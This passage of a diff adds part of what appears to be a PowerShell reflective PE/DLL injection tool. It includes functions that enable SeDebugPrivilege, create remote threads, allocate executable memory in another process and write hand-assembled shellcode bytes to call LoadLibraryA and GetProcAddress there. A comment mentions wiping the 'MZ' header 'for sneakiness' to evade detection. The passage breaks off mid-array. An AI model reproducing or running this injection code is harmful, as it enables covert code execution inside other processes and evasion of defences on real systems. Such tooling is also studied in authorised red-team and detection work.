+ {
955
+ $FinalEndAddress = $EndAddress
956
+ }
957
+
958
+ $PEEndAddress = $PEInfo.EndAddress
959
+
960
+ if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
961
+ {
962
+ Throw "Trying to write to memory smaller than allocated address range. $DebugString"
963
+ }
964
+ if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
965
+ {
966
+ Throw "Trying to write to memory greater than allocated address range. $DebugString"
967
+ }
968
+ }
969
+
970
+
971
+ Function Write-BytesToMemory
972
+ {
973
+ Param(
974
+ [Parameter(Position=0, Mandatory = $true)]
975
+ [Byte[]]
976
+ $Bytes,
977
+
978
+ [Parameter(Position=1, Mandatory = $true)]
979
+ [IntPtr]
980
+ $MemoryAddress
981
+ )
982
+
983
+ for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
984
+ {
985
+ [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
986
+ }
987
+ }
988
+
989
+
990
+ #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
991
+ Function Get-DelegateType
992
+ {
993
+ Param
994
+ (
995
+ [OutputType([Type])]
996
+
997
+ [Parameter( Position = 0)]
998
+ [Type[]]
999
+ $Parameters = (New-Object Type[](0)),
1000
+
1001
+ [Parameter( Position = 1 )]
1002
+ [Type]
1003
+ $ReturnType = [Void]
1004
+ )
1005
+
1006
+ $Domain = [AppDomain]::CurrentDomain
1007
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
1008
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
1009
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
1010
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
1011
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
1012
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
1013
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
1014
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
1015
+
1016
+ Write-Output $TypeBuilder.CreateType()
1017
+ }
1018
+
1019
+
1020
+ #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
1021
+ Function Get-ProcAddress
1022
+ {
1023
+ Param
1024
+ (
1025
+ [OutputType([IntPtr])]
1026
+
1027
+ [Parameter( Position = 0, Mandatory = $True )]
1028
+ [String]
1029
+ $Module,
1030
+
1031
+ [Parameter( Position = 1, Mandatory = $True )]
1032
+ [String]
1033
+ $Procedure
1034
+ )
1035
+
1036
+ # Get a reference to System.dll in the GAC
1037
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
1038
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
1039
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
1040
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
1041
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
1042
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
1043
+ # Get a handle to the module specified
1044
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
1045
+ $tmpPtr = New-Object IntPtr
1046
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
1047
+
1048
+ # Return the address of the function
1049
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
1050
+ }
1051
+
1052
+
1053
+ Function Enable-SeDebugPrivilege
1054
+ {
1055
+ Param(
1056
+ [Parameter(Position = 1, Mandatory = $true)]
1057
+ [System.Object]
1058
+ $Win32Functions,
1059
+
1060
+ [Parameter(Position = 2, Mandatory = $true)]
1061
+ [System.Object]
1062
+ $Win32Types,
1063
+
1064
+ [Parameter(Position = 3, Mandatory = $true)]
1065
+ [System.Object]
1066
+ $Win32Constants
1067
+ )
1068
+
1069
+ [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
1070
+ if ($ThreadHandle -eq [IntPtr]::Zero)
1071
+ {
1072
+ Throw "Unable to get the handle to the current thread"
1073
+ }
1074
+
1075
+ [IntPtr]$ThreadToken = [IntPtr]::Zero
1076
+ [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
1077
+ if ($Result -eq $false)
1078
+ {
1079
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1080
+ if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
1081
+ {
1082
+ $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
1083
+ if ($Result -eq $false)
1084
+ {
1085
+ Throw "Unable to impersonate self"
1086
+ }
1087
+
1088
+ $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
1089
+ if ($Result -eq $false)
1090
+ {
1091
+ Throw "Unable to OpenThreadToken."
1092
+ }
1093
+ }
1094
+ else
1095
+ {
1096
+ Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
1097
+ }
1098
+ }
1099
+
1100
+ [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
1101
+ $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
1102
+ if ($Result -eq $false)
1103
+ {
1104
+ Throw "Unable to call LookupPrivilegeValue"
1105
+ }
1106
+
1107
+ [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
1108
+ [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
1109
+ $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
1110
+ $TokenPrivileges.PrivilegeCount = 1
1111
+ $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
1112
+ $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
1113
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
1114
+
1115
+ $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
1116
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
1117
+ if (($Result -eq $false) -or ($ErrorCode -ne 0))
1118
+ {
1119
+ #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
1120
+ }
1121
+
1122
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
1123
+ }
1124
+
1125
+
1126
+ Function Create-RemoteThread
1127
+ {
1128
+ Param(
1129
+ [Parameter(Position = 1, Mandatory = $true)]
1130
+ [IntPtr]
1131
+ $ProcessHandle,
1132
+
1133
+ [Parameter(Position = 2, Mandatory = $true)]
1134
+ [IntPtr]
1135
+ $StartAddress,
1136
+
1137
+ [Parameter(Position = 3, Mandatory = $false)]
1138
+ [IntPtr]
1139
+ $ArgumentPtr = [IntPtr]::Zero,
1140
+
1141
+ [Parameter(Position = 4, Mandatory = $true)]
1142
+ [System.Object]
1143
+ $Win32Functions
1144
+ )
1145
+
1146
+ [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
1147
+
1148
+ $OSVersion = [Environment]::OSVersion.Version
1149
+ #Vista and Win7
1150
+ if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
1151
+ {
1152
+ #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
1153
+ $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
1154
+ $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1155
+ if ($RemoteThreadHandle -eq [IntPtr]::Zero)
1156
+ {
1157
+ Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
1158
+ }
1159
+ }
1160
+ #XP/Win8
1161
+ else
1162
+ {
1163
+ #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
1164
+ $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
1165
+ }
1166
+
1167
+ if ($RemoteThreadHandle -eq [IntPtr]::Zero)
1168
+ {
1169
+ Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
1170
+ }
1171
+
1172
+ return $RemoteThreadHandle
1173
+ }
1174
+
1175
+
1176
+
1177
+ Function Get-ImageNtHeaders
1178
+ {
1179
+ Param(
1180
+ [Parameter(Position = 0, Mandatory = $true)]
1181
+ [IntPtr]
1182
+ $PEHandle,
1183
+
1184
+ [Parameter(Position = 1, Mandatory = $true)]
1185
+ [System.Object]
1186
+ $Win32Types
1187
+ )
1188
+
1189
+ $NtHeadersInfo = New-Object System.Object
1190
+
1191
+ #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
1192
+ $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
1193
+
1194
+ #Get IMAGE_NT_HEADERS
1195
+ [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
1196
+ $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
1197
+ $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
1198
+
1199
+ #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
1200
+ if ($imageNtHeaders64.Signature -ne 0x00004550)
1201
+ {
1202
+ throw "Invalid IMAGE_NT_HEADER signature."
1203
+ }
1204
+
1205
+ if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
1206
+ {
1207
+ $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
1208
+ $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
1209
+ }
1210
+ else
1211
+ {
1212
+ $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
1213
+ $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
1214
+ $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
1215
+ }
1216
+
1217
+ return $NtHeadersInfo
1218
+ }
1219
+
1220
+
1221
+ #This function will get the information needed to allocated space in memory for the PE
1222
+ Function Get-PEBasicInfo
1223
+ {
1224
+ Param(
1225
+ [Parameter( Position = 0, Mandatory = $true )]
1226
+ [Byte[]]
1227
+ $PEBytes,
1228
+
1229
+ [Parameter(Position = 1, Mandatory = $true)]
1230
+ [System.Object]
1231
+ $Win32Types
1232
+ )
1233
+
1234
+ $PEInfo = New-Object System.Object
1235
+
1236
+ #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
1237
+ [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
1238
+ [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
1239
+
1240
+ #Get NtHeadersInfo
1241
+ $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
1242
+
1243
+ #Build a structure with the information which will be needed for allocating memory and writing the PE to memory
1244
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
1245
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
1246
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
1247
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
1248
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
1249
+
1250
+ #Free the memory allocated above, this isn't where we allocate the PE to memory
1251
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
1252
+
1253
+ return $PEInfo
1254
+ }
1255
+
1256
+
1257
+ #PEInfo must contain the following NoteProperties:
1258
+ # PEHandle: An IntPtr to the address the PE is loaded to in memory
1259
+ Function Get-PEDetailedInfo
1260
+ {
1261
+ Param(
1262
+ [Parameter( Position = 0, Mandatory = $true)]
1263
+ [IntPtr]
1264
+ $PEHandle,
1265
+
1266
+ [Parameter(Position = 1, Mandatory = $true)]
1267
+ [System.Object]
1268
+ $Win32Types,
1269
+
1270
+ [Parameter(Position = 2, Mandatory = $true)]
1271
+ [System.Object]
1272
+ $Win32Constants
1273
+ )
1274
+
1275
+ if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
1276
+ {
1277
+ throw 'PEHandle is null or IntPtr.Zero'
1278
+ }
1279
+
1280
+ $PEInfo = New-Object System.Object
1281
+
1282
+ #Get NtHeaders information
1283
+ $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
1284
+
1285
+ #Build the PEInfo object
1286
+ $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
1287
+ $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
1288
+ $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
1289
+ $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
1290
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
1291
+
1292
+ if ($PEInfo.PE64Bit -eq $true)
1293
+ {
1294
+ [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
1295
+ $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
1296
+ }
1297
+ else
1298
+ {
1299
+ [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
1300
+ $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
1301
+ }
1302
+
1303
+ if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
1304
+ {
1305
+ $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
1306
+ }
1307
+ elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
1308
+ {
1309
+ $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
1310
+ }
1311
+ else
1312
+ {
1313
+ Throw "PE file is not an EXE or DLL"
1314
+ }
1315
+
1316
+ return $PEInfo
1317
+ }
1318
+
1319
+
1320
+ Function Import-DllInRemoteProcess
1321
+ {
1322
+ Param(
1323
+ [Parameter(Position=0, Mandatory=$true)]
1324
+ [IntPtr]
1325
+ $RemoteProcHandle,
1326
+
1327
+ [Parameter(Position=1, Mandatory=$true)]
1328
+ [IntPtr]
1329
+ $ImportDllPathPtr
1330
+ )
1331
+
1332
+ $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
1333
+
1334
+ $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
1335
+ $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
1336
+ $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1337
+ if ($RImportDllPathPtr -eq [IntPtr]::Zero)
1338
+ {
1339
+ Throw "Unable to allocate memory in the remote process"
1340
+ }
1341
+
1342
+ [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1343
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
1344
+
1345
+ if ($Success -eq $false)
1346
+ {
1347
+ Throw "Unable to write DLL path to remote process memory"
1348
+ }
1349
+ if ($DllPathSize -ne $NumBytesWritten)
1350
+ {
1351
+ Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
1352
+ }
1353
+
1354
+ $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
1355
+ $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
1356
+
1357
+ [IntPtr]$DllAddress = [IntPtr]::Zero
1358
+ #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
1359
+ # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
1360
+ if ($PEInfo.PE64Bit -eq $true)
1361
+ {
1362
+ #Allocate memory for the address returned by LoadLibraryA
1363
+ $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1364
+ if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
1365
+ {
1366
+ Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
1367
+ }
1368
+
1369
+
1370
+ #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
1371
+ $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
1372
+ $LoadLibrarySC2 = @(0x48, 0xba)
1373
+ $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
1374
+ $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
1375
+
1376
+ $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
1377
+ $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
1378
+ $SCPSMemOriginal = $SCPSMem
1379
+
1380
+ Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
1381
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
1382
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
1383
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1384
+ Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
1385
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
1386
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
1387
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1388
+ Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
1389
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
1390
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
1391
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1392
+ Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
1393
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
1394
+
1395
+
1396
+ $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
1397
+ if ($RSCAddr -eq [IntPtr]::Zero)
1398
+ {
1399
+ Throw "Unable to allocate memory in the remote process for shellcode"
1400
+ }
1401
+
1402
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
1403
+ if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
1404
+ {
1405
+ Throw "Unable to write shellcode to remote process memory."
1406
+ }
1407
+
1408
+ $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
1409
+ $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1410
+ if ($Result -ne 0)
1411
+ {
1412
+ Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1413
+ }
1414
+
1415
+ #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
1416
+ [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
1417
+ $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
1418
+ if ($Result -eq $false)
1419
+ {
1420
+ Throw "Call to ReadProcessMemory failed"
1421
+ }
1422
+ [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
1423
+
1424
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1425
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1426
+ }
1427
+ else
1428
+ {
1429
+ [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
1430
+ $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1431
+ if ($Result -ne 0)
1432
+ {
1433
+ Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1434
+ }
1435
+
1436
+ [Int32]$ExitCode = 0
1437
+ $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
1438
+ if (($Result -eq 0) -or ($ExitCode -eq 0))
1439
+ {
1440
+ Throw "Call to GetExitCodeThread failed"
1441
+ }
1442
+
1443
+ [IntPtr]$DllAddress = [IntPtr]$ExitCode
1444
+ }
1445
+
1446
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1447
+
1448
+ return $DllAddress
1449
+ }
1450
+
1451
+
1452
+ Function Get-RemoteProcAddress
1453
+ {
1454
+ Param(
1455
+ [Parameter(Position=0, Mandatory=$true)]
1456
+ [IntPtr]
1457
+ $RemoteProcHandle,
1458
+
1459
+ [Parameter(Position=1, Mandatory=$true)]
1460
+ [IntPtr]
1461
+ $RemoteDllHandle,
1462
+
1463
+ [Parameter(Position=2, Mandatory=$true)]
1464
+ [IntPtr]
1465
+ $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)
1466
+
1467
+ [Parameter(Position=3, Mandatory=$true)]
1468
+ [Bool]
1469
+ $LoadByOrdinal
1470
+ )
1471
+
1472
+ $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
1473
+
1474
+ [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal
1475
+ #If not loading by ordinal, write the function name to the remote process memory
1476
+ if (-not $LoadByOrdinal)
1477
+ {
1478
+ $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
1479
+
1480
+ #Write FunctionName to memory (will be used in GetProcAddress)
1481
+ $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
1482
+ $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1483
+ if ($RFuncNamePtr -eq [IntPtr]::Zero)
1484
+ {
1485
+ Throw "Unable to allocate memory in the remote process"
1486
+ }
1487
+
1488
+ [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1489
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
1490
+ if ($Success -eq $false)
1491
+ {
1492
+ Throw "Unable to write DLL path to remote process memory"
1493
+ }
1494
+ if ($FunctionNameSize -ne $NumBytesWritten)
1495
+ {
1496
+ Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
1497
+ }
1498
+ }
1499
+ #If loading by ordinal, just set RFuncNamePtr to be the ordinal number
1500
+ else
1501
+ {
1502
+ $RFuncNamePtr = $FunctionNamePtr
1503
+ }
1504
+
1505
+ #Get address of GetProcAddress
1506
+ $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
1507
+ $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
1508
+
1509
+
1510
+ #Allocate memory for the address returned by GetProcAddress
1511
+ $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1512
+ if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
1513
+ {
1514
+ Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
1515
+ }
1516
+
1517
+
1518
+ #Write Shellcode to the remote process which will call GetProcAddress
1519
+ #Shellcode: GetProcAddress.asm
1520
+ [Byte[]]$GetProcAddressSC = @()
1521
+ if ($PEInfo.PE64Bit -eq $true)
1522
+ {
1523
+ $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
1524
+ $GetProcAddressSC2 = @(0x48, 0xba)
1525
+ $GetProcAddressSC3 = @(0x48, 0xb8)
1526
+ $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
1527
